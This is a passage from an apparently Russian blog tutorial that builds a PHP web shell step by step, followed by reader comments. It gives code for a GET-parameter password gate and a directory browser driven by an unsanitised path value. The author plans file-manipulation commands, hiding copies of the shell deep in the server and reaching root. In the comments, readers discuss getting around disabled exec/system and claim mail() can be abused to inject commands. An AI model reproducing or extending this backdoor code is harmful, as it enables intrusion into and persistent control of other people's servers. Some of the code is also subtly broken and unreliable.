($a===$b) { echo (‘Заебись, пароли верные, цуко!’); } // Сравниваем типы отпечатков md5 a==b</span> <span style=»color: #993300;»>if ($a!==$b) { echo (‘Уроды, гавно а не пароль, не тот!’); } // Сравниваем типы отпечатков md5 a!=b</span> <span style=»color: #993300;»>}</span> <span style=»color: #993300;»>// Писать значение переменной или значение передаваемое в функцию нужно всегда в кавычках. В одинарных или в двойных — это ваше право, кому как удобнее. Я изменил кавычки на одинарные, помочу что наш движок WordPress меняет их на автоматически на «» ! Я могу отключить эту функцию, но, а она ещё пригодиться в других статьях. По этому оставлю как есть для наглядности. </span> <span style=»color: #993300;»>/* И вот у нас уже получается самый настоящий Шелл, но это только половина работы */ </span> <span style=»color: #993300;»>?&gt; </span> <span style=»color: #993300;»> </span></blockquote> Подводим итоги аутентификации пользователя. Вот простой скрипт, конечно, который требует доработки но, тем не менее позволит вам понять принцип работы GET запроса: <blockquote><span style=»color: #008000;»>&lt;?php echo (‘Скрипт запущен и работает! Допишите в строке &lt;b&gt;?d=fuck&lt;/b&gt;&lt;br&gt;’);</span> <span style=»color: #008000;»>if ($_GET[‘d’]==’fuck’) { echo (‘&lt;H1&gt;&lt;font color=Green&gt;Пароль FUCK — верный!&lt;/font&gt;&lt;/H1&gt;(Вот пример авторизации с паролем (переменной) отосланым через GET запрос)&lt;script&gt;alert(\’Молодец! Верный пароль!\’);&lt;/script&gt;’); }</span> <span style=»color: #008000;»>if ($_GET[‘d’]!=’fuck’) { echo (‘&lt;H1&gt;&lt;font color=Red&gt;Чувак, у тя не верный пароль — иди в жопу!&lt;/font&gt;&lt;/H1&gt;&lt;script&gt;alert(\’Введи верный пароль засранец!\’);&lt;/script&gt;’); }</span> <span style=»color: #008000;»>?&gt;</span></blockquote> <img class=»alignleft size-full wp-image-1099″ src=»http://helpset.ru/wp-content/uploads/2010/12/f7h1blt.gif» alt=»» width=»16″ height=»22″ /> <a href=»http://www.helpset.ru/doc/testshell.php» target=»_blank»>Посмотрите пример работы скрипта аутентификации пользователя через GET запрос.</a> Ну вроде как передавать и принимать переменные в или из файла мы разобрались! Также, аналогичным образом через GET передаются команды (см.предыдущую статью). И их активация происходит методом фильтрации переменных через if()! Иными словами мы проверяем, что передал пользователь через строку и в зависимости от условий выполняем ту или иную функцию написанную на php. Всё очень просто! Идём дальше. <h6>Менеджер файлов</h6> Ясно для чего нужен файловый менеджер — для передачи и записи файлов на сервер и обратно. Конечно с использованием дополнительных известных функций, таких как: cmod, права доступа, привелегии, владелец, группа и т.п. Нужно показать путь к корневой или любой другой папке передавая его через наш с вами GET запрос. В приведённом ниже примере мы лишь строим «дерево» папок и файлов, а другие действия мы будем совершать потом, с помощью дополнительных запросов GET. PHP код <strong>файловый менеджер:</strong> <blockquote><span style=»color: #800000;»>&lt;?php echo (‘Укажите в строке &lt;b&gt;?path=…&lt;/b&gt; из строчки ниже&lt;br&gt;’); $globalpath = $_SERVER[‘DOCUMENT_ROOT’]; // Отображаю полный путь сервера от начала vars! echo (‘&lt;b&gt;Корень пути сервера: &lt;font color=Blue&gt;’.$globalpath.’&lt;/font&gt;&lt;/b&gt;&lt;br&gt;’); // Вывожу путь, т.к. он будет нужен вам как шпаргалка что бы ориентироваться на серваке!</span> <span style=»color: #800000;»>if (isset($_GET[‘path’])) { $path = $_GET[‘path’]; // Получаем из GET запроса данные корневой папки $dirs=array(); // Создаём пустой строчный массив для папок $files=array(); // Создаём пустой строчный массив для файлов $listing = @opendir($path); // Читаем начало пути echo ‘&lt;font color=Green&gt;&lt;b&gt;Вы указали: ‘.$path.’&lt;/b&gt;&lt;/font&gt;&lt;br&gt;’; while (!(($file = readdir($listing)) === false)) { // запускаем цик while который остановиться, когда ничего не прочитает и в него попадёт false if ($file==’.’ || $file==’..’) continue; // отображаем корневые и не корневые if (@is_dir($listing/$file)) {  // Поверяем — ЕСЛИ СУЩЕСТВУЕТ папка/файл $dirs[]=$file; // Дописываем в масив папок, по ключу +1 +2 +3… }else{ $files[]=$file; // Дописываем в масив файлов, по ключу +1 +2 +3… } sort($dirs);   // Сортируем массив папок sort($files);  // Сортируем массив файлов } for($ddd=0; $ddd&lt;count($dirs); $ddd++){    // Цикл подсчёта вывода папок, когда счётчик count перестанет считать  +1 +2 +3… echo ‘&lt;b&gt;’.$dirs[$ddd].’&lt;/b&gt;&lt;br&gt;’; //и выводим дерево папок } for($fff=0; $fff&lt;count($files); $fff++){  // Цикл подсчёта вывода фалов закончится, когда счётчик count перестанет считать  +1 +2 +3… echo $files[$fff].’&lt;br&gt;’; // и выводим дерево файлов }</span> <span style=»color: #800000;»>}</span> <span style=»color: #800000;»>// В этом файле мы постоили дерево файлов и папок через GET запрос! </span> <span style=»color: #800000;»>?&gt;</span></blockquote> Слава богу разобрались и с этим говном и выводом файлов. Скачать себе пример рабочего (пока) просмотровщика ваших файлов на сервере мы можете тут <a href=»http://helpset.ru/doc/testsfiles.zip» target=»_blank»>нажав на ссылку</a>. Теперь, нам с вами пора переходить к командам, таким образом что бы можно было управлять выведенными файлами. И снова нам пригодиться GET-запрос. Через него мы будем передавать команды: переименовать, удалить, создать, скопировать, переместить, аплоад, даунлоад. А также, попробуем реализовать такие известные функции как: владелец, права. Что ещё характерно, что создавая новый файл нашим PHP-Shell владельцем данного файла сразу станет или root или well — что несомненно нам поможет, для того, что бы мы смогли получить доступ к самую корневую дирректорию тестируемого сервера. Кстати, вам ещё не пришло в голову, что используя наш Шелл мы скопируем файлы этого же Шелла самим Шеллом и положем его как можно глубже, таким образом мы получим права root и файловый менедже

4 thoughts on “Shell/WEB-шелл. Познаём. Продолжение.

  1. Жалко, что почти на всех серваках выключена функция exec и system. Спасибо, очень интересная статья! Помогла мне понять как обходить запреты. Удачи

  2. Ы-ы-ы-ы! А вот и не на всех:
    Функция mail — та что для отправки почты:

    MAIL $to,$from,$subj,$mess,$a;

    Есть уязвимости:
    1) $a — можно подделать на, скажем putin@kremlin.ru (от кого)
    2) $a — можно вставлять команды, типа линукса: ls, sudo… 😉 всё работает, до версии php<5.0.22

  3. Вот ещё нашёл у них сайте: http://www.helpset.ru/?p=3537 как можно проверить пароль на уязвимость. Тоже полезный сервис. Спасибо! Полезный софт.

Comments are closed.